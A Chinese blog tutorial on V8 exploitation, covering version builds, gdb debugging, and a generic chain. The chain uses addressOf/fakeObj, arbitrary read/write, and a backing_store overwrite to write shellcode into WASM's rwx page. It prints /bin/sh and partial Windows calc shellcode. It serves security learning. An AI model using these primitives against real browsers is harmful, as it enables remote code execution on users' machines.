0

从 0 开始学 V8 漏洞利用系列篇

 2 years ago
source link: https://www.anquanke.com/post/id/267518
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

New york, USA – july 26, 2019: Start google chrome application on computer macro close up view in pixel screen

作者:Hcamael@知道创宇404实验室

环境搭建(一)


最近因为某些原因开始学V8的漏洞利用,所以打算写一个系列的文章来记录一下我的学习过程。

在开始研究V8之前肯定得有相应版本的环境,搭建v8环境的教程网上挺多的。在国内搭建环境,因为众所周知的原因,我们会遇到第一个瓶颈,网络瓶颈。不过也挺好解决的,把环境搭在vps上,网速是最快的。不过随后就会遇到第二个瓶颈,性能瓶颈,自用的vps一般性能都是1c1g左右,编译一次将近1h吧。

我是打算学V8的漏洞利用,不用的漏洞版本基本都会有区别,总不可能研究一个就花1h左右的时间在编译上吧。所以我就考虑是否有现成的docker环境,这样就不需要花时间在编译上了,不过并没有找到合适的docker,只找到一个叫docker-v8的项目,不过只有很少的几个版本,这个Dockerfile和Makefile写的也不对,只能编译最新版的,没法编译任意一个版本。所以我对这个项目进行了一些改编,打算在我的mbp上来编译,自己构建相关的docker。但是没想到i9的CPU也不太行,挺垃圾的,一热就降频,10s左右就可以煮鸡蛋了。编译一次差不多半小时吧,再加上网络因素,完整跑一趟流程也差不多1h。

随后想起前段时间给女朋友配了个AMD 5950x的台式机,随后又研究了一波WOL,但是发现在断电一段时间后,WOL会失效,最后使用小米智能插座,台式机设置通电自动开机,来让我远程访问。

这个台式机是买来给女朋友打游戏,所以装的是windows,也没装虚拟机。不过装了WSL,直接在WSL上编译,路由器是openwrt,让台式机走全局代理,这样又解决了网络瓶颈,最后一整套流程下了,只需要5分钟左右就能生成任意版本的v8环境。然后把d8拖到本地,就能构建好相应版本的docker了。

下面就来详细说明我在WSL编译v8环境的过程:

  1. 首先装好相关依赖: sudo apt install bison cdbs curl flex g++ git python vim pkg-config
  2. 获取depot_tools: git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
  3. 设置depot_tools的环境变量: echo "export PATH=$(pwd)/depot_tools:${PATH}" >> ~/.zshrc
  4. 运行fetch v8, 这个命令会把v8克隆下来,v8挺大的,所以这个命令的速度视网络情况而定
  5. 安装v8相关的依赖,字体依赖就算用代理也会遇到一些网络问题,但是我目前没有研究字体类的漏洞,我就没有去解决这个问题,所以直接不装字体的依赖:./v8/build/install-build-deps.sh --no-chromeos-fonts

以上算通用步骤,也就是不管什么版本,上面的命令执行一次就好了。

网上的环境搭建的教程里面,之后应该就是执行:

$ cd v8
$ gclient sync
$ gn gen out/x64.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64.release d8

如果编译出来的v8环境需要迁移,建议设置v8_monolithic=true,这样只需要迁移一个d8程序就好了。要不然还得迁移其他(snapshot)依赖。

上面是编译最新版环境运行的命令,不过我是需要编译任意版本的,所以我把第二阶段的内容写成了一个build.sh脚本:

$ cat build.sh
#!/bin/bash
VER=$1
if [ -z $2 ];then
        NAME=$VER
else
        NAME=$2
fi
cd v8
git reset --hard $VER
gclient sync -D
gn gen out/x64_$NAME.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64_$NAME.release d8

以下是我运行一次该脚本的时间:

$ time ./build.sh "9.6.180.6"
HEAD is now at 67eacd3dce Version 9.6.180.6
Syncing projects: 100% (29/29), done.
Running hooks: 100% (27/27), done.
Done. Made 178 targets from 98 files in 244ms
ninja: Entering directory `out/x64_9.6.180.6.release'
[1839/1839] LINK ./d8
./build.sh "9.6.180.6"  4581.36s user 691.20s system 1586% cpu 5:32.41 total

然后是我修改过后的Makefile:

$ cat Makefile 
TAG:=$(tag)
IMAGE:=hcamael/v8

default: help

help:
    @echo 'V8/D8 ${TAG} Docker image build file'
    @echo
    @echo 'Usage:'
    @echo '    make clean           Delete dangling images and d8 images'
    @echo '    make build           Build the d8 image using local Dockerfile'
    @echo '    make push            Push an existing image to Docker Hub'
    @echo '    make deploy          Clean, build and push image to Docker Hub'
    @echo '    make github          Tag the project in GitHub'
    @echo

build:
    docker build --build-arg V8_VERSION=${TAG} -t ${IMAGE}:${TAG} .

clean:
    # Remove containers with exited status:
    docker rm `docker ps -a -f status=exited -q` || true
    docker rmi ${IMAGE}:latest || true
    docker rmi ${IMAGE}:${TAG} || true
    # Delete dangling images
    docker rmi `docker images -f dangling=true -q` || true

push:
    docker push docker.io/${IMAGE}:${TAG}
    docker tag ${IMAGE}:${TAG} docker.io/${IMAGE}:latest
    docker push docker.io/${IMAGE}:latest

deploy: clean build push

github:
    git push
    git tag -a ${TAG} -m 'Version ${TAG}'
    git push origin --tags


.PHONY: help build clean push deploy github

然后是修改过后的Dockerfile

$ cat Dockerfile
FROM debian:stable-slim

RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -yqq && \
    DEBIAN_FRONTEND=noninteractive apt-get install curl rlwrap vim -yqq gdb && \
    apt-get clean
ARG V8_VERSION=latest
ENV V8_VERSION=$V8_VERSION

LABEL v8.version=$V8_VERSION \
      maintainer="[email protected]"
WORKDIR /v8

COPY /v8_$V8_VERSION/d8 ./

COPY vimrc /root/.vimrc

COPY entrypoint.sh /

RUN chmod +x /entrypoint.sh && \
    mkdir /examples && \
    ln -s /v8/d8 /usr/local/bin/d8

ENTRYPOINT ["/entrypoint.sh"]
  1. https://github.com/andreburgaud/docker-v8

V8 通用利用链(二)


经过一段时间的研究,先进行一波总结,不过因为刚开始研究没多久,也许有一些局限性,以后如果发现了,再进行修正。

我认为,在搞漏洞利用前都得明确目标。比如打CTF做二进制的题目,大部分情况下,目标都是执行system(/bin/sh)或者execve(/bin/sh,0,0)

在v8利用上,我觉得也有一个明确的目标,就是执行任意shellcode。当有了这个目标后,下一步就是思考,怎么写shellcode呢?那么就需要有写内存相关的洞,能写到可读可写可执行的内存段,最好是能任意地址写。配套的还需要有任意读,因为需要知道rwx内存段的地址。就算没有任意读,也需要有办法能把改地址泄漏出来(V8的binary保护基本是全开的)。接下来就是需要能控制RIP,能让RIP跳转到shellcode的内存段。

接下来将会根据该逻辑来反向总结一波v8的利用过程。

调试V8程序

在总结v8的利用之前,先简单说说v8的调试。

1.把该文件v8/tools/gdbinit,加入到~/.gdbinit中:

$ cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source /home/ubuntu/gdbinit_v8

2.使用%DebugPrint(x);来输出变量x的相关信息

3.使用%SystemBreak();来抛出int3,以便让gdb进行调试

示例

$ cat test.js
a = [1];
%DebugPrint(a);
%SystemBreak();

如果直接使用d8运行,会报错:

$ ./d8 test.js
test.js:2: SyntaxError: Unexpected token '%'
%DebugPrint(a);
^
SyntaxError: Unexpected token '%'

因为正常情况下,js是没有%这种语法的,需要加入--allow-natives-syntax参数:

$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x37640804965d: [JSArray]
 - map: 0x376408203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3764081cc139 <JSArray[0]>
 - elements: 0x3764081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x37640800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3764081d30d1 <FixedArray[1]> {
           0: 1
 }
0x376408203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3764080023b5 <undefined>
 - prototype_validity cell: 0x376408142405 <Cell value= 1>
 - instance descriptors #1: 0x3764081cc5ed <DescriptorArray[1]>
 - transitions #1: 0x3764081cc609 <TransitionArray[4]>Transition array #1:
     0x376408005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x376408203ab9 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x3764081cc139 <JSArray[0]>
 - constructor: 0x3764081cbed5 <JSFunction Array (sfi = 0x37640814ad71)>
 - dependent code: 0x3764080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1]    35375 trace trap  ./d8 --allow-natives-syntax test.js

接下来试试使用gdb来调试该程序:

$ gdb d8
pwndbg> r --allow-natives-syntax test.js
[New Thread 0x7f6643a61700 (LWP 35431)]
[New Thread 0x7f6643260700 (LWP 35432)]
[New Thread 0x7f6642a5f700 (LWP 35433)]
[New Thread 0x7f664225e700 (LWP 35434)]
[New Thread 0x7f6641a5d700 (LWP 35435)]
[New Thread 0x7f664125c700 (LWP 35436)]
[New Thread 0x7f6640a5b700 (LWP 35437)]
DebugPrint: 0x3a0c08049685: [JSArray]
 - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x3a0c0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3a0c081d30d1 <FixedArray[1]> {
           0: 1
 }
0x3a0c08203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3a0c080023b5 <undefined>
 - prototype_validity cell: 0x3a0c08142405 <Cell value= 1>
 - instance descriptors #1: 0x3a0c081cc5ed <DescriptorArray[1]>
 - transitions #1: 0x3a0c081cc609 <TransitionArray[4]>Transition array #1:
     0x3a0c08005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3a0c08203ab9 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - constructor: 0x3a0c081cbed5 <JSFunction Array (sfi = 0x3a0c0814ad71)>
 - dependent code: 0x3a0c080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

然后就能使用gdb命令来查看其内存布局了,另外在之前v8提供的gdbinit中,加入了一些辅助调试的命令,比如job,作用跟%DebufPrint差不多:

pwndbg> job 0x3a0c08049685
0x3a0c08049685: [JSArray]
 - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x3a0c0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3a0c081d30d1 <FixedArray[1]> {
           0: 1
 }

不过使用job命令的时候,其地址要是其真实地址+1,也就是说,在上面的样例中,其真实地址为:0x3a0c08049684

pwndbg> x/4gx 0x3a0c08049685-1
0x3a0c08049684:    0x0800222d08203a41 0x00000002081d30d1
0x3a0c08049694:    0x0000000000000000 0x0000000000000000

如果使用job命令,后面跟着的是其真实地址,会被解析成SMI(small integer)类型:

pwndbg> job 0x3a0c08049685-1
Smi: 0x4024b42 (67259202)

0x4024b42 * 2 == 0x8049684 (SMI只有32bit)

对d8进行简单的调试只要知道这么多就够了。

现如今的浏览器基本都支持WASM,v8会专门生成一段rwx内存供WASM使用,这就给了我们利用的机会。

我们来调试看看:

测试代码:

$ cat test.js
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

然后使用gdb进行调试,在第一个断点的时候,使用vmmap来查看一下内存段,这个时候内存中是不存在可读可写可执行的内存断的,我们让程序继续运行。

在第二个断点的时候,我们再运行一次vmmap来查看内存段:

pwndbg> vmmap
0x1aca69e92000     0x1aca69e93000 rwxp     1000 0      [anon_1aca69e92]

因为WASM代码的创建,内存中出现可rwx的内存段。接下来的问题就是,我们怎么获取到改地址呢?

首先我们来看看变量f的信息:

DebugPrint: 0x24c6081d3645: [Function] in OldSpace
 - map: 0x24c6082049e1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
 - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
 - name: 0x24c6080051c5 <String[1]: #0>
 - builtin: GenericJSToWasmWrapper
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x24c6081c3649 <NativeContext[256]>
 - code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - Wasm instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - Wasm function index: 0
 - properties: 0x24c60800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x24c608004905: [String] in ReadOnlySpace: #length: 0x24c608142339 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004a35: [String] in ReadOnlySpace: #name: 0x24c6081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004029: [String] in ReadOnlySpace: #arguments: 0x24c60814226d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004245: [String] in ReadOnlySpace: #caller: 0x24c6081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - feedback vector: feedback metadata is not available in SFI
0x24c6082049e1: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 28
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - callable
 - back pointer: 0x24c6080023b5 <undefined>
 - prototype_validity cell: 0x24c608142405 <Cell value= 1>
 - instance descriptors (own) #4: 0x24c6081d0735 <DescriptorArray[4]>
 - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
 - constructor: 0x24c608002235 <null>
 - dependent code: 0x24c6080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

可以发现这是一个函数对象,我们来查看一下fshared_info结构的信息:

 - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
pwndbg> job 0x24c6081d3621
0x24c6081d3621: [SharedFunctionInfo] in OldSpace
 - map: 0x24c6080025f9 <Map[36]>
 - name: 0x24c6080051c5 <String[1]: #0>
 - kind: NormalFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 185
 - formal_parameter_count: 0
 - expected_nof_properties:
 - language_mode: sloppy
 - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - code (from data): 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - script: 0x24c6081d3491 <Script>
 - function token position: 88
 - start position: 88
 - end position: 92
 - no debug info
 - scope info: 0x24c608002739 <ScopeInfo>
 - length: 0
 - feedback_metadata: <none>

接下里再查看其data结构:

 - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
pwndbg> job 0x24c6081d35f5
0x24c6081d35f5: [WasmExportedFunctionData] in OldSpace
 - map: 0x24c608002e7d <Map[44]>
 - target: 0x1aca69e92000
 - ref: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - wrapper_code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - function_index: 0
 - signature: 0x24c608049bd1 <Foreign>
 - wrapper_budget: 1000

在查看instance结构:

 - instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
pwndbg> job 0x24c6081d3509
0x24c6081d3509: [WasmInstanceObject] in OldSpace
 - map: 0x24c608207439 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24c608048259 <Object map = 0x24c6082079b1>
 - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x24c6080499e5 <Module map = 0x24c6082072d1>
 - exports_object: 0x24c608049b99 <Object map = 0x24c608207a79>
 - native_context: 0x24c6081c3649 <NativeContext[256]>
 - memory_object: 0x24c6081d34f1 <Memory map = 0x24c6082076e1>
 - table 0: 0x24c608049b69 <Table map = 0x24c608207551>
 - imported_function_refs: 0x24c60800222d <FixedArray[0]>
 - indirect_function_table_refs: 0x24c60800222d <FixedArray[0]>
 - managed_native_allocations: 0x24c608049b21 <Foreign>
 - memory_start: 0x7f6e20000000
 - memory_size: 65536
 - memory_mask: ffff
 - imported_function_targets: 0x55a2eca392f0
 - globals_start: (nil)
 - imported_mutable_globals: 0x55a2eca39310
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: (nil)
 - indirect_function_table_targets: (nil)
 - properties: 0x24c60800222d <FixedArray[0]>
 - All own properties (excluding elements): {}

仔细查看能发现,instance结构就是js代码中的wasmInstance变量的地址,在代码中我们加入了%DebugPrint(wasmInstance);,所以也会输出该结构的信息,可以去对照看看。

我们再来查看这个结构的内存布局:

pwndbg> x/16gx 0x24c6081d3509-1
0x24c6081d3508:    0x0800222d08207439 0x200000000800222d
0x24c6081d3518:    0x0001000000007f6e 0x0000ffff00000000
0x24c6081d3528:    0xeca1448000000000 0x0800222d000055a2
0x24c6081d3538:    0x000055a2eca392f0 0x000000000800222d
0x24c6081d3548:    0x0000000000000000 0x0000000000000000
0x24c6081d3558:    0x0000000000000000 0x000055a2eca39310
0x24c6081d3568:    0x000055a2eca14420 0x00001aca69e92000

仔细看,能发现,rwx段的起始地址储存在instance+0x68的位置,不过这个不用记,不同版本,这个偏移值可能会有差距,可以在写exp的时候通过上述调试的方式进行查找。

根据WASM的特性,我们的目的可以更细化了,现在我们的目的变为了把shellcode写到WASM的代码段,然后执行WASM函数,那么就能执行shellcode了。

最近我研究的几个V8的漏洞,任意读写都是使用的一个套路,目前我是觉得这个套路很通用的,感觉V8相关的利用都是用这类套路。(不过我学的时间短,这块的眼界也相对短浅,以后可能会遇到其他情况)

首先来看看JavaScript的两种类型的变量的结构:

$ cat test.js
a = [2.1];
b = {"a": 1};
c = [b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();

首先是变量a的结构:

DebugPrint: 0xe07080496d1: [JSArray]
 - map: 0x0e0708203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081cc139 <JSArray[0]>
 - elements: 0x0e07080496c1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x0e07080496c1 <FixedDoubleArray[1]> {
           0: 2.1
 }
pwndbg> job 0x0e07080496c1
0xe07080496c1: [FixedDoubleArray]
 - map: 0x0e0708002a95 <Map>
 - length: 1
           0: 2.1
pwndbg> x/8gx 0xe07080496d1-1
0xe07080496d0:    0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0:    0x0800222d08207961 0x000000020800222d
0xe07080496f0:    0x0001000108005c31 0x080021f900000000
0xe0708049700:    0x0000008808007aad 0x0800220500000002
pwndbg> x/8gx 0x0e07080496c1-1
0xe07080496c0:    0x0000000208002a95 0x4000cccccccccccd
0xe07080496d0:    0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0:    0x0800222d08207961 0x000000020800222d
0xe07080496f0:    0x0001000108005c31 0x080021f900000000

变量a的结构如下:

| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|

因为在当前版本的v8中,对地址进行了压缩,因为高32bit地址的值是一样的,所以只需要保存低32bit的地址就行了。

elements结构保存了数组的值,结构为:

| 32 bit map addr | 32 bit length | value ......

变量a结构中的length,表示的是当前数组的已经使用的长度,elements表示该数组已经申请的长度,申请了不代表已经使用了。这两个长度在内存中储存的值为实际值的2倍,为啥这么设计,暂时还没了解。

仔细研究上面的内存布局,能发现,elements结构之后是紧跟着变量a的结构。很多洞都是这个时候让变量a溢出,然后这样就可以读写其结构的map和length的值。

接下来在一起看看变量bc:

变量c:
DebugPrint: 0xe0708049719: [JSArray]
 - map: 0x0e0708203b31 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081cc139 <JSArray[0]>
 - elements: 0x0e070804970d <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x0e070804970d <FixedArray[1]> {
           0: 0x0e07080496e1 <Object map = 0xe0708207961>
 }
变量b:
DebugPrint: 0xe07080496e1: [JS_OBJECT_TYPE]
 - map: 0x0e0708207961 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081c4205 <Object map = 0xe07082021b9>
 - elements: 0x0e070800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
pwndbg> job 0x0e070804970d
0xe070804970d: [FixedArray]
 - map: 0x0e0708002205 <Map>
 - length: 1
           0: 0x0e07080496e1 <Object map = 0xe0708207961>
pwndbg> x/8gx 0xe0708049719-1
0xe0708049718:    0x0800222d08203b31 0x000000020804970d
0xe0708049728:    0x0000000000000000 0x0000000000000000
0xe0708049738:    0x0000000000000000 0x0000000000000000
0xe0708049748:    0x0000000000000000 0x0000000000000000
pwndbg> x/8gx 0x0e070804970d-1
0xe070804970c:    0x0000000208002205 0x08203b31080496e1
0xe070804971c:    0x0804970d0800222d 0x0000000000000002
0xe070804972c:    0x0000000000000000 0x0000000000000000
0xe070804973c:    0x0000000000000000 0x0000000000000000

变量c的结构和变量a的基本上是一样的,只是变量a储存的是double类型的变量,所以value都是64bit的,而变量c储存的是对象类型的变量,储存的是地址,也对地址进行了压缩,所以长度是32bit。

任意变量地址读

既然内存结构这么一致,那么使用a[0]或者c[0]取值的时候,js是怎么判断结构类型的呢?通过看代码,或者gdb实际测试都能发现,是根据变量结构的map值来确定的。

也就是说如果我把变量c的map地址改成变量a的,那么当我执行c[0]的时候,获取到的就是变量b的地址了。这样,就能达到任意变量地址读的效果,步骤如下:

  1. c[0]的值设置为你想获取地址的变量,比如c[0]=a;
  2. 然后通过漏洞,把c的map地址修改成a的map地址。
  3. 读取c[0]的值,该值就为变量a的低32bit地址。

在本文说的套路中,上述步骤被封装为addressOf函数。

该逻辑还达不到任意地址读的效果,所以还需要继续研究。

double to object

既然我们可以把对象数组变为浮点型数组,那么是不是也可以把浮点型数组变为对象数组,步骤如下:

  1. a[0]的值设置为自己构造的某个对象的地址还需要加1。
  2. 然后通过漏洞,把a的map地址修改成c的map地址。
  3. 获取a[0]的值

这个过程可以封装为fakeObj函数。

任意读

这个时候我们构造这样一个变量:

var fake_array = [
  double_array_map,
  itof(0x4141414141414141n)
];

该变量的结构大致如下:

| 32 bit elements map | 32 bit length | 64 bit double_array_map |
| 64 bit 0x4141414141414141n | 32 bit fake_array map | 32 bit properties |
| 32 bit elements | 32 bit length|

根据分析,理论上来说布局应该如上所示,但是会根据漏洞不通,导致堆布局不通,所以导致elements地址的不同,具体情况,可以写exp的时候根据通过调试来判断。

所以我可以使用addressOf获取fake_array地址:var fake_array_addr = addressOf(fake_array);

计算得到fake_object_addr = fake_array_addr - 0x10n;,然后使用fakeObj函数,得到你构造的对象:var fake_object = fakeObj(fake_object_addr);

这个时候不要去查看fake_object的内容,因为其length字段和elements字段都被设置为了无效值(0x41414141)。

这个时候我们就能通过fake_array数组来达到任意读的目的了,下面就是一个通用的任意读函数read64

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

任意写

同理,也能构造出任意写write64

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

我们可以这么理解上述过程,fakeObj对象相当于把把浮点数数组变量a改成了二维浮点数数组:a = [[1.1]],而fake_array[1]值的内存区域属于fake_object对象的elementslength字段的位置,所以我们可以通过修改fake_array[1]的值,来控制fake_object,以达到任意读写的效果。

写shellcode

不过上述的任意写却没办法把我们的shellcode写到rwx区域,因为写入的地址=实际地址-0x8+0x1,前面还需要有8字节的map地址和length,而rwx区域根据我们调试的时候看到的内存布局,需要从该内存段的起始地址开始写,所以该地址-0x8+0x1是一个无效地址。

所以需要另辟蹊径,来看看下面的代码:

$ cat test.js
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);

%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();

首先看看data_buf变量的结构:

DebugPrint: 0x2ead0804970d: [JSArrayBuffer]
 - map: 0x2ead08203271 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2ead081ca3a5 <Object map = 0x2ead08203299>
 - elements: 0x2ead0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x555c12bb9050
 - byte_length: 16
 - detachable
 - properties: 0x2ead0800222d <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

再来看看backing_store字段的内存:

pwndbg> x/8gx 0x555c12bb9050
0x555c12bb9050:    0x4000000000000000 0x0000000000000000
0x555c12bb9060:    0x0000000000000000 0x0000000000000041
0x555c12bb9070:    0x0000555c12bb9050 0x0000000000000010
0x555c12bb9080:    0x0000000000000010 0x00007ffd653318a8

double型的2.0以十六进制表示就是0x4000000000000000,所以可以看出data_buf变量的值存储在一段连续的内存区域中,通过backing_store指针指向该内存区域。

所以我们可以利用该类型,通过修改backing_store字段的值为rwx内存地址,来达到写shellcode的目的。

看看backing_store字段在data_buf变量结构中的位置:

pwndbg> x/16gx 0x2ead0804970d-1
0x2ead0804970c:    0x0800222d08203271 0x000000100800222d
0x2ead0804971c:    0x0000000000000000 0x12bb905000000000
0x2ead0804972c:    0x12bb90b00000555c 0x000000020000555c
0x2ead0804973c:    0x0000000000000000 0x0000000000000000
0x2ead0804974c:    0x0800222d08202ca9 0x0804970d0800222d
0x2ead0804975c:    0x0000000000000000 0x0000000000000010
0x2ead0804976c:    0x0000555c12bb9050 0x0000000000000000
0x2ead0804977c:    0x0000000000000000 0x0000000000000000

发现backing_store的地址属于data_buf + 0x1C,这个偏移在不同版本的v8中也是有一些区别的,所以写exp的时候,可以根据上面的步骤来进行计算。

根据上述的思路,我们可以写出copy_shellcode_to_rwx函数:

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

在linux环境下,我们测试的时候想执行一下execve(/bin/sh,0,0)的shellcode,就可以这样:

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

如果想执行windows的弹计算器的shellcode,代码只需要改shellcode变量的值就好了,其他的就不用修改了:

var shellcode = [
    0xc0e8f0e48348fcn,
    0x5152504151410000n,
    0x528b4865d2314856n,
    0x528b4818528b4860n,
    0xb70f4850728b4820n,
    0xc03148c9314d4a4an,
    0x41202c027c613cacn,
    0xede2c101410dc9c1n,
    0x8b20528b48514152n,
    0x88808bd001483c42n,
    0x6774c08548000000n,
    0x4418488b50d00148n,
    0x56e3d0014920408bn,
    0x4888348b41c9ff48n,
